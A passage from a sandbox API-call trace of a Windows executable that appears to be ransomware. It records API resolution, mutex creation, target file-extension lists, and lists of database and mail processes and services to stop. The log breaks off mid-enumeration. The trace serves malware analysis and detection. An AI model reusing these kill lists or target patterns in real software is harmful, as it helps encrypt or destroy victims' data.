[318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0187.753] NtResumeThread (in: ThreadHandle=0x278, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0187.835] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0xcc4 Thread: id = 3 os_tid = 0x470 Thread: id = 4 os_tid = 0x474 Process: id = "2" image_name = "11.exe" filename = "c:\\users\\fd1hvy\\desktop\\11.exe" page_root = "0x60a60000" os_pid = "0x4b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xb04" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\11.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0xf08 [0187.783] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0187.783] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0187.783] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleW") returned 0x75ea50d0 [0187.783] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40 [0187.783] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0187.783] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileW") returned 0x75ede500 [0187.783] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileSizeEx") returned 0x75efef40 [0187.783] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090 [0187.783] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileAttributesW") returned 0x75efef10 [0187.783] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0187.783] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameW") returned 0x75ed32c0 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameA") returned 0x75ed3780 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexW") returned 0x75efeb70 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenW") returned 0x75ea6c70 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenA") returned 0x75ea6c50 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcess") returned 0x75efea10 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObject") returned 0x75efeca0 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="GetLogicalDrives") returned 0x75ea0d20 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteFileW") returned 0x75efed40 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75efebb0 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090 [0187.784] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10 [0187.785] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexW") returned 0x75efebf0 [0187.785] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0 [0187.785] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForMultipleObjects") returned 0x75efec80 [0187.785] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiW") returned 0x75ea6bf0 [0187.785] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiA") returned 0x75ea6bd0 [0187.785] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90 [0187.785] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseMutex") returned 0x75efec20 [0187.785] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0 [0187.785] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersion") returned 0x75ea56c0 [0187.785] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0 [0187.785] GetProcAddress (hModule=0x75e90000, lpProcName="ExpandEnvironmentStringsW") returned 0x75ea4a40 [0187.785] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0 [0187.785] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceFrequency") returned 0x75ea5dc0 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessId") returned 0x75efea20 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="GetVolumeInformationW") returned 0x75eff020 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointerEx") returned 0x75eff130 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="SetEndOfFile") returned 0x75eff0e0 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcessHeap") returned 0x75ea51f0 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="HeapReAlloc") returned 0x77bef630 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="HeapAlloc") returned 0x77bf2dc0 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="HeapFree") returned 0x75ea57f0 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="CreatePipe") returned 0x75ea4590 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="SetHandleInformation") returned 0x75efeae0 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringW") returned 0x75ea4430 [0187.786] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringA") returned 0x75ea4410 [0187.787] GetProcAddress (hModule=0x75e90000, lpProcName="OpenProcess") returned 0x75ea5cc0 [0187.787] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0 [0187.787] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTime") returned 0x75ea54e0 [0187.787] GetProcAddress (hModule=0x75e90000, lpProcName="SystemTimeToFileTime") returned 0x75ea67a0 [0187.787] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0187.787] GetProcAddress (hModule=0x75e90000, lpProcName="CreateToolhelp32Snapshot") returned 0x75ededc0 [0187.787] GetProcAddress (hModule=0x75e90000, lpProcName="Process32NextW") returned 0x75edf8f0 [0187.787] GetProcAddress (hModule=0x75e90000, lpProcName="Process32FirstW") returned 0x75edf750 [0187.787] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0187.803] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExW") returned 0x761ce580 [0187.803] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExW") returned 0x761ce5a0 [0187.803] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExW") returned 0x761cf530 [0187.803] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0187.803] GetProcAddress (hModule=0x761b0000, lpProcName="OpenProcessToken") returned 0x761cefb0 [0187.803] GetProcAddress (hModule=0x761b0000, lpProcName="GetTokenInformation") returned 0x761cee90 [0187.803] GetProcAddress (hModule=0x761b0000, lpProcName="OpenSCManagerW") returned 0x761d0540 [0187.803] GetProcAddress (hModule=0x761b0000, lpProcName="OpenServiceW") returned 0x761cfa20 [0187.803] GetProcAddress (hModule=0x761b0000, lpProcName="CloseServiceHandle") returned 0x761cfc00 [0187.804] GetProcAddress (hModule=0x761b0000, lpProcName="ControlService") returned 0x761e26d0 [0187.804] GetProcAddress (hModule=0x761b0000, lpProcName="QueryServiceStatus") returned 0x761d2380 [0187.804] GetProcAddress (hModule=0x761b0000, lpProcName="EnumDependentServicesW") returned 0x761e2f70 [0187.804] GetProcAddress (hModule=0x761b0000, lpProcName="EnumServicesStatusExW") returned 0x761cfc80 [0187.804] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0187.837] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210 [0187.837] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76480000 [0187.862] GetProcAddress (hModule=0x76480000, lpProcName="ShellExecuteExW") returned 0x765e4730 [0187.862] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77bb0000 [0187.862] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0187.862] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74500000 [0188.056] GetProcAddress (hModule=0x74500000, lpProcName="WNetCloseEnum") returned 0x74502640 [0188.056] GetProcAddress (hModule=0x74500000, lpProcName="WNetOpenEnumW") returned 0x74502790 [0188.056] GetProcAddress (hModule=0x74500000, lpProcName="WNetEnumResourceW") returned 0x74502410 [0188.056] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x746a0000 [0188.451] GetProcAddress (hModule=0x746a0000, lpProcName="WSAStartup") returned 0x746a5b40 [0188.451] GetProcAddress (hModule=0x746a0000, lpProcName="socket") returned 0x746b4510 [0188.451] GetProcAddress (hModule=0x746a0000, lpProcName="send") returned 0x746a5030 [0188.451] GetProcAddress (hModule=0x746a0000, lpProcName="recv") returned 0x746b0c50 [0188.451] GetProcAddress (hModule=0x746a0000, lpProcName="connect") returned 0x746a5410 [0188.451] GetProcAddress (hModule=0x746a0000, lpProcName="closesocket") returned 0x746b0910 [0188.451] GetProcAddress (hModule=0x746a0000, lpProcName="gethostbyname") returned 0x746d6cb0 [0188.451] GetProcAddress (hModule=0x746a0000, lpProcName="inet_addr") returned 0x746b9160 [0188.451] GetProcAddress (hModule=0x746a0000, lpProcName="ntohl") returned 0x746a49d0 [0188.452] GetProcAddress (hModule=0x746a0000, lpProcName="htonl") returned 0x746a49d0 [0188.452] GetProcAddress (hModule=0x746a0000, lpProcName="htons") returned 0x746b8ff0 [0188.452] GetProcessHeap () returned 0x790000 [0188.452] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x20) returned 0x79e508 [0188.452] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=27905287057) returned 1 [0188.452] GetTickCount () returned 0x441e7 [0188.452] GetCurrentProcessId () returned 0x4b0 [0188.452] GetTickCount () returned 0x441e7 [0188.452] GetTickCount () returned 0x441e7 [0188.452] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x20) returned 0x79e530 [0188.452] GetVersion () returned 0x23f00206 [0188.452] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x7) returned 0x79b980 [0188.452] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x79dc60 [0188.452] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79dc60, Size=0x20) returned 0x794260 [0188.452] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x794260, Size=0x40) returned 0x794260 [0188.452] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7a4748 [0188.453] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_P4AHB8A") returned 0x0 [0188.453] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_P4AHB8A") returned 0x1cc [0188.453] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79b980 | out: hHeap=0x790000) returned 1 [0188.453] lstrlenW (lpString="Global\\syncronize_") returned 18 [0188.453] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x794260 | out: hHeap=0x790000) returned 1 [0188.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x7) returned 0x79b980 [0188.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x79de58 [0188.453] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79de58, Size=0x20) returned 0x794260 [0188.453] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x794260, Size=0x40) returned 0x794260 [0188.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7b4750 [0188.454] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_P4AHB8U") returned 0x0 [0188.454] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_P4AHB8U") returned 0x1d0 [0188.454] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79b980 | out: hHeap=0x790000) returned 1 [0188.454] lstrlenW (lpString="Global\\syncronize_") returned 18 [0188.454] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x794260 | out: hHeap=0x790000) returned 1 [0188.454] GetVersion () returned 0x23f00206 [0188.454] GetCurrentProcess () returned 0xffffffff [0188.454] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1d4) returned 1 [0188.454] GetTokenInformation (in: TokenHandle=0x1d4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0188.454] CloseHandle (hObject=0x1d4) returned 1 [0188.454] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x0 [0188.454] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x3e8) returned 0x0 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x79f038 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x79dc90 [0188.454] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79dc90, Size=0x20) returned 0x794260 [0188.454] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x794260, Size=0x40) returned 0x794260 [0188.454] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x794260, Size=0x80) returned 0x7950e8 [0188.454] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7950e8, Size=0x100) returned 0x79e020 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x34) returned 0x7a1df0 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x79b980 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x79b9d0 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x79b870 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x79de58 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x79b990 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x79dcf0 [0188.454] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79b990, Size=0x8) returned 0x79ba20 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x79de88 [0188.454] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79ba20, Size=0x10) returned 0x79dea0 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x79dc60 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x79deb8 [0188.454] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79dea0, Size=0x20) returned 0x794260 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x79dea0 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x79ded0 [0188.454] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79b980, Size=0x8) returned 0x79ba10 [0188.454] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79b9d0, Size=0x8) returned 0x79b980 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x79ba20 [0188.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x79dc90 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x79b9c0 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x79dca8 [0188.455] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79b9c0, Size=0x8) returned 0x79b990 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x79dcc0 [0188.455] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79b990, Size=0x10) returned 0x79dcd8 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x79dd08 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x79b990 [0188.455] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79dcd8, Size=0x20) returned 0x794288 [0188.455] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79ba10, Size=0x10) returned 0x79dcd8 [0188.455] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79b980, Size=0x10) returned 0x79dd20 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x79b980 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x79e008 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x79b9c0 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x79dff0 [0188.455] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79b9c0, Size=0x8) returned 0x79b9d0 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x79b9c0 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x79df48 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x79ba10 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x79dfc0 [0188.455] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79ba10, Size=0x8) returned 0x7c48f8 [0188.455] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79dcd8, Size=0x20) returned 0x7942b0 [0188.455] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79dd20, Size=0x20) returned 0x7942f0 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c47c8 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x79dcd8 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7c48d8 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x79dd20 [0188.455] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c48d8, Size=0x8) returned 0x7c4798 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x79f2f8 [0188.455] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x79f1d8 [0188.455] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0188.455] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79e020 | out: hHeap=0x790000) returned 1 [0188.455] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0188.489] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x79dfa8 [0188.489] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79dfa8, Size=0x20) returned 0x7c5658 [0188.489] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5658, Size=0x40) returned 0x79f898 [0188.489] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79f898, Size=0x80) returned 0x79e2f0 [0188.489] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79e2f0, Size=0x100) returned 0x7c9a80 [0188.489] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x79dfd8 [0188.489] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79dfd8, Size=0x20) returned 0x7c5518 [0188.489] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5518, Size=0x40) returned 0x79fe38 [0188.489] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79fe38, Size=0x80) returned 0x79e2f0 [0188.489] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79e2f0, Size=0x100) returned 0x7c9b88 [0188.489] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x79df90 [0188.489] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7c48a8 [0188.489] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x79df60 [0188.489] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c48a8, Size=0x8) returned 0x7c4878 [0188.489] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x79f1f8 [0188.489] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4878, Size=0x10) returned 0x79dfa8 [0188.489] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x18) returned 0x79f0d8 [0188.489] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1a) returned 0x7c5748 [0188.490] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79dfa8, Size=0x20) returned 0x7c5860 [0188.490] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1c) returned 0x7c56d0 [0188.490] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x16) returned 0x79efb8 [0188.490] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1a) returned 0x7c5810 [0188.490] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x79dfa8 [0188.490] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7c4978 [0188.490] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40) returned 0x79fc40 [0188.490] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4978, Size=0x8) returned 0x7c4878 [0188.490] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3c) returned 0x79f808 [0188.490] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4878, Size=0x10) returned 0x79dfd8 [0188.490] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x79f278 [0188.490] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x18) returned 0x79f258 [0188.490] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79dfd8, Size=0x20) returned 0x7c56f8 [0188.490] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x24) returned 0x79e910 [0188.490] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0188.490] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c9a80 | out: hHeap=0x790000) returned 1 [0188.490] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0188.490] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c9b88 | out: hHeap=0x790000) returned 1 [0188.490] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7c57e8 [0188.499] EnumServicesStatusExW (in: hSCManager=0x7c57e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0188.502] GetLastError () returned 0xea [0188.502] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1ebc) returned 0x7cbe08 [0188.502] EnumServicesStatusExW (in: hSCManager=0x7c57e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7cbe08, 